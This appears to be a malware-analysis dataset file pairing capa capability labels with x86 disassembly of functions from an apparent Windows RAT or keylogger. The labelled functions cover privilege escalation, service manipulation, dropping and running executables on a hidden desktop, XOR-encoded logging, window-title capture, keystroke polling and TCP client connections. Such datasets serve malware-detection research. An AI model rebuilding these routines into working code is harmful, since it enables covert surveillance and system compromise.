joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a7ef
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 0x1c]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1000a810
xor al, al
jmp 0x1000a881
lea ecx, [ebp - 0x18]
push ecx
push 0x1008b8a8
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x1000a833
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x1000a881
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 2
push 0
push 0
push 0x10
lea edx, [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1000a875
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x1000a881
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x1000acb4
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x280
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 0x280
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call sub.iphlpapi.dll_GetAdaptersInfo
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x6f
jne 0x1000ad24
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov edx, dword [ebp - 0xc]
push edx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 8], eax
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call sub.iphlpapi.dll_GetAdaptersInfo
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000adbc
cmp dword [ebp - 8], 0
je 0x1000adbc
push 0x40
push 0
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [ebp - 8]
xor edx, edx
mov dl, byte [ecx + 0x199]
push edx
mov eax, dword [ebp - 8]
xor ecx, ecx
mov cl, byte [eax + 0x198]
push ecx
mov edx, dword [ebp - 8]
xor eax, eax
mov al, byte [edx + 0x197]
push eax
mov ecx, dword [ebp - 8]
xor edx, edx
mov dl, byte [ecx + 0x196]
push edx
mov eax, dword [ebp - 8]
xor ecx, ecx
mov cl, byte [eax + 0x195]
push ecx
mov edx, dword [ebp - 8]
xor eax, eax
mov al, byte [edx + 0x194]
push eax
push 0x1008b9a8
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x30
je 0x1000adb7
jmp 0x1000adbc
jmp 0x1000ad2e
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x1000b153
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov dword [eax], 0x1007f7fc
mov dword [ebp - 4], 0
jmp 0x1000b177
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
cmp eax, dword [edx + 0x9e58]
jae 0x1000b1b1
push 0xffffffffffffffff
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx*4 + 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx*4 + 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000b16e
mov ecx, dword [ebp - 8]
call fcn.1000f885
mov esp, ebp
pop ebp
ret
Function at 0x1000c588
Capabilities:
Create thread
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push edi
mov eax, dword [ebp + 8]
add eax, 4
mov dword [ebp + 8], eax
cmp dword [ebp + 0x10], 0
jne 0x1000c5b8
push 0x1008bc30
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [0x100951b0], 0
jmp 0x1000c66d
cmp dword [ebp + 0x10], 1
jne 0x1000c636
push 0x1008bc40
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [0x100951b0], 1
mov word [ebp - 0x20], 0
mov ecx, 7
xor eax, eax
lea edi, [ebp - 0x1e]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x10
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x20]
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0x10
mov eax, dword [ebp + 8]
add eax, 0x10
push eax
lea ecx, [ebp - 0x10]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0
push 0
lea edx, [ebp - 0x20]
push edx
push 0x1000bc65
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000c66d
cmp dword [ebp + 0x10], 2
jne 0x1000c66d
push 0x1008bc4c
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [0x100951b0], 1
push 0
push 0
push 0
push 0x1000bc65
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x1000cf79
Capabilities:
Continue service
Pause service
Query service status
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push edi
mov dword [ebp - 4], 0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x1000cfa6
xor eax, eax
jmp 0x1000d0e4
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x1000cfd3
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x1000d0e4
mov dword [ebp - 0x20], 0
mov ecx, 6
xor eax, eax
lea edi, [ebp - 0x1c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x1000d014
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 4]
jmp 0x1000d0e4
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp + 0xc]
jne 0x1000d028
mov dword [ebp - 4], 1
jmp 0x1000d0cd
cmp dword [ebp - 0x1c], 2
je 0x1000d040
cmp dword [ebp - 0x1c], 3
je 0x1000d040
cmp dword [ebp - 0x1c], 5
je 0x1000d040
cmp dword [ebp - 0x1c], 6
jne 0x1000d047
xor eax, eax
jmp 0x1000d0e4
cmp dword [ebp - 0x1c], 1
jne 0x1000d066
cmp dword [ebp + 0xc], 4
jne 0x1000d066
push 0
push 0
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov dword [ebp - 4], eax
jmp 0x1000d0cd
cmp dword [ebp - 0x1c], 4
je 0x1000d072
cmp dword [ebp - 0x1c], 7
jne 0x1000d08d
cmp dword [ebp + 0xc], 1
jne 0x1000d08d
lea eax, [ebp - 0x20]
push eax
push 1
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov dword [ebp - 4], eax
jmp 0x1000d0cd
cmp dword [ebp - 0x1c], 7
jne 0x1000d0ae
cmp dword [ebp + 0xc], 4
jne 0x1000d0ae
lea edx, [ebp - 0x20]
push edx
push 3
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov dword [ebp - 4], eax
jmp 0x1000d0cd
cmp dword [ebp - 0x1c], 4
jne 0x1000d0cd
cmp dword [ebp + 0xc], 7
jne 0x1000d0cd
lea ecx, [ebp - 0x20]
push ecx
push 2
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 4]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x1000d0e9
Capabilities:
Delete service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1000d112
xor eax, eax
jmp 0x1000d172
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x1000d13c
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x1000d172
push 1
mov eax, dword [ebp + 8]
push eax
call fcn.1000cf79
add esp, 8
test eax, eax
je 0x1000d15b
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x1000d176
Capabilities:
Delete registry key
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push edi
mov dword [ebp - 0x10c], ecx
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea eax, [ebp - 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.MSVCRT.dll__strlwr]
add esp, 4
push str.vchost
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x1000d1fd
push 1
push 0x1008bd18
call fcn.1000cf79
add esp, 8
push str.Windows_WallNet
call fcn.1000d0e9
add esp, 4
jmp 0x1000d2cf
call fcn.1001bf6b
cmp eax, 1
jne 0x1000d21c
push str.SoftwareClassesCLSIDB12AE898_D056_4378_A844_6D393FE37956
push SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
jmp 0x1000d2cf
call fcn.1001c376
test eax, eax
je 0x1000d2bf
mov dword [ebp - 0x108], 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
push 0x3011f
push 0
push 0
push 0
push 0x1008bd78
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push str.InProcServer32
mov ecx, dword [ebp - 0x108]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov edx, dword [ebp - 0x108]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
lea eax, [ebp - 0x108]
push eax
push 0
push 0x3011f
push 0
push 0
push 0
push str.SoftwareClassesCLSID
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push str.ECD4FC4D_521C_11D0_B792_00A0C90312E1
mov ecx, dword [ebp - 0x108]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov edx, dword [ebp - 0x108]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1000d2cf
push str.SoftwareClassesCLSIDECD4FC4D_521C_11D0_B792_00A0C90312E1
push SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1000d459
Capabilities:
Create directory
Create process on windows
Print debug messages
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x36c
push edi
mov dword [ebp - 0x36c], ecx
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x208], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
push str.c:ProgramDataBase
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push str.c:ProgramDataBase_d.exe
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x1008bef4
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [ebp - 0x20c], eax
mov edx, dword [ebp - 0x20c]
push edx
push 1
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
mov edx, dword [ebp - 0x20c]
push edx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
cmp dword [ebp + 0x10], 2
jne 0x1000d516
mov al, 1
jmp 0x1000d686
cmp dword [ebp + 0x10], 3
jne 0x1000d541
push str.RunAdminExe
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0x208]
push ecx
call fcn.1001c06b
mov al, 1
jmp 0x1000d686
mov edx, 1
test edx, edx
je 0x1000d668
cmp dword [ebp + 0x10], 0
jne 0x1000d668
mov eax, dword [str.MyDesktop]
mov dword [ebp - 0x324], eax
mov ecx, dword [0x1008bf08]
mov dword [ebp - 0x320], ecx
mov dx, word [0x1008bf0c]
mov word [ebp - 0x31c], dx
mov ecx, 0x3d
xor eax, eax
lea edi, [ebp - 0x31a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
push 0x10000002
push 0
push 0
push 0
lea eax, [ebp - 0x324]
push eax
call dword [sym.imp.USER32.dll_CreateDesktopA]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0
jne 0x1000d5bc
jmp 0x1000d668
mov dword [ebp - 0x368], 0x44
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x364]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x324]
mov dword [ebp - 0x360], ecx
mov dword [ebp - 0x220], 0
xor edx, edx
mov dword [ebp - 0x21c], edx
mov dword [ebp - 0x218], edx
mov dword [ebp - 0x214], edx
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x368]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x208]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1000d648
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x220]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000d657
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.USER32.dll_CloseDesktop]
jmp 0x1000d668
mov eax, dword [ebp - 0x224]
push eax
call dword [sym.imp.USER32.dll_CloseDesktop]
mov al, 1
jmp 0x1000d686
mov ecx, dword [ebp + 0x10]
push ecx
push 0
push 0
lea edx, [ebp - 0x208]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1000da6e
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 0
push 0x80
push 4
push 0
push 3
push 0xc0000000
push 0x10095ce8
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0
push 0
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x3200000
jae 0x1000dac3
push 2
push 0
push 0
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], 0
jmp 0x1000daf7
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 4]
jge 0x1000db15
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0xc]
movsx edx, byte [ecx]
xor edx, 0x62
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
mov byte [eax], dl
jmp 0x1000daee
push 0
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x1000efcb
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8a0
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [0x100952c8]
je 0x1000f1e7
mov ecx, dword [ebp - 4]
mov dword [0x100952c8], ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov dword [ebp - 8], eax
mov byte [ebp - 0x408], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x407]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x400
push 0
lea eax, [ebp - 0x408]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [ebp - 8]
add ecx, 1
cmp ecx, 0x400
jae 0x1000f05a
mov edx, dword [ebp - 8]
add edx, 1
push edx
lea eax, [ebp - 0x408]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x1000f070
push 0x3fe
lea edx, [ebp - 0x408]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov byte [ebp - 0x82c], 0
mov ecx, 0x108
xor eax, eax
lea edi, [ebp - 0x82b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea ecx, [ebp - 0x408]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
test eax, eax
jbe 0x1000f1e7
lea edx, [ebp - 0x408]
push edx
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 0x890], eax
mov byte [ebp - 0x87c], 0
xor eax, eax
mov dword [ebp - 0x87b], eax
mov dword [ebp - 0x877], eax
mov dword [ebp - 0x873], eax
mov word [ebp - 0x86f], ax
mov byte [ebp - 0x86d], al
mov byte [ebp - 0x8a0], 0
xor ecx, ecx
mov dword [ebp - 0x89f], ecx
mov dword [ebp - 0x89b], ecx
mov dword [ebp - 0x897], ecx
mov word [ebp - 0x893], cx
mov byte [ebp - 0x891], cl
mov word [ebp - 0x88c], 0
xor edx, edx
mov dword [ebp - 0x88a], edx
mov dword [ebp - 0x886], edx
mov dword [ebp - 0x882], edx
mov word [ebp - 0x87e], dx
mov byte [ebp - 0x86c], 0
mov ecx, 0xf
xor eax, eax
lea edi, [ebp - 0x86b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x88c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, dword [ebp - 0x880]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 0x882]
and edx, 0xffff
push edx
mov eax, dword [ebp - 0x884]
and eax, 0xffff
push eax
mov ecx, dword [ebp - 0x886]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 0x88a]
and edx, 0xffff
push edx
mov eax, dword [ebp - 0x88c]
and eax, 0xffff
push eax
push str._d__02d__02d__02d:_02d:_02d
lea ecx, [ebp - 0x86c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
lea edx, [ebp - 0x86c]
push edx
lea eax, [ebp - 0x408]
push eax
push 0x1008c180
push 0x423
lea ecx, [ebp - 0x82c]
push ecx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x14
lea edx, [ebp - 0x82c]
push edx
call fcn.1000db4d
add esp, 4
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x1000f1f1
Capabilities:
Create directory
Log keystrokes via polling
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push 0
push 0x1008c198
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x104
push 0
push 0x10095ce8
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x1008c1a4
push 0x10095ce8
call sub.MSVCRT.dll_strcpy
add esp, 8
cmp dword [0x1009534c], 0
je 0x1000f23f
mov eax, dword [0x1009534c]
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
call fcn.1000df23
mov dword [0x1009534c], eax
cmp dword [0x1009534c], 0
jne 0x1000f264
push 0x1008c1bc
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor al, al
jmp 0x1000f37d
cmp dword [0x10095364], 0
je 0x1000f27e
mov ecx, dword [0x10095364]
mov edx, dword [ecx]
mov eax, dword [0x10095364]
push eax
call dword [edx + 0x20]
cmp dword [0x10095364], 0
je 0x1000f2a2
mov ecx, dword [0x10095364]
mov edx, dword [ecx]
mov eax, dword [0x10095364]
push eax
call dword [edx + 8]
mov dword [0x10095364], 0
cmp dword [0x10095360], 0
je 0x1000f2c6
mov ecx, dword [0x10095360]
mov edx, dword [ecx]
mov eax, dword [0x10095360]
push eax
call dword [edx + 8]
mov dword [0x10095360], 0
cmp dword [0x10095364], 0
jne 0x1000f306
push 0x14
call dword [sym.imp.USER32.dll_GetKeyState]
movsx ecx, ax
test ecx, ecx
jge 0x1000f2ea
mov dword [0x10095350], 1
jmp 0x1000f2f4
mov dword [0x10095350], 0
call fcn.1000dcf0
test eax, eax
jge 0x1000f306
call fcn.1000dc89
xor al, al
jmp 0x1000f37d
mov dword [ebp - 4], 0
push 0
push 0
push 0
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000f376
cmp dword [0x10095364], 0
je 0x1000f350
cmp dword [ebp - 0x1c], 0x101
jne 0x1000f350
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x1b
je 0x1000f34c
cmp dword [ebp - 0x24], 0x70
je 0x1000f34c
jmp 0x1000f34e
jmp 0x1000f350
jmp 0x1000f30d
cmp dword [ebp - 4], 0x12
jne 0x1000f358
jmp 0x1000f376
cmp dword [ebp - 4], 0xffffffff
jne 0x1000f360
jmp 0x1000f376
lea ecx, [ebp - 0x20]
push ecx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x1000f30d
call fcn.1000dc89
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x1000fb68
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x18], ecx
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x1000fb8a
xor eax, eax
jmp 0x1000fbdd
mov word [ebp - 0x14], 2
mov eax, dword [ebp - 0x18]
add eax, 0x116
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x10], eax
mov cx, word [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
push 0x10
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1000fbc8
jmp 0x1000fbdb
mov eax, dword [ebp - 4]
jmp 0x1000fbdd
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x1000fbdd
jmp 0x1000fbcd
mov esp, ebp
pop ebp
ret 4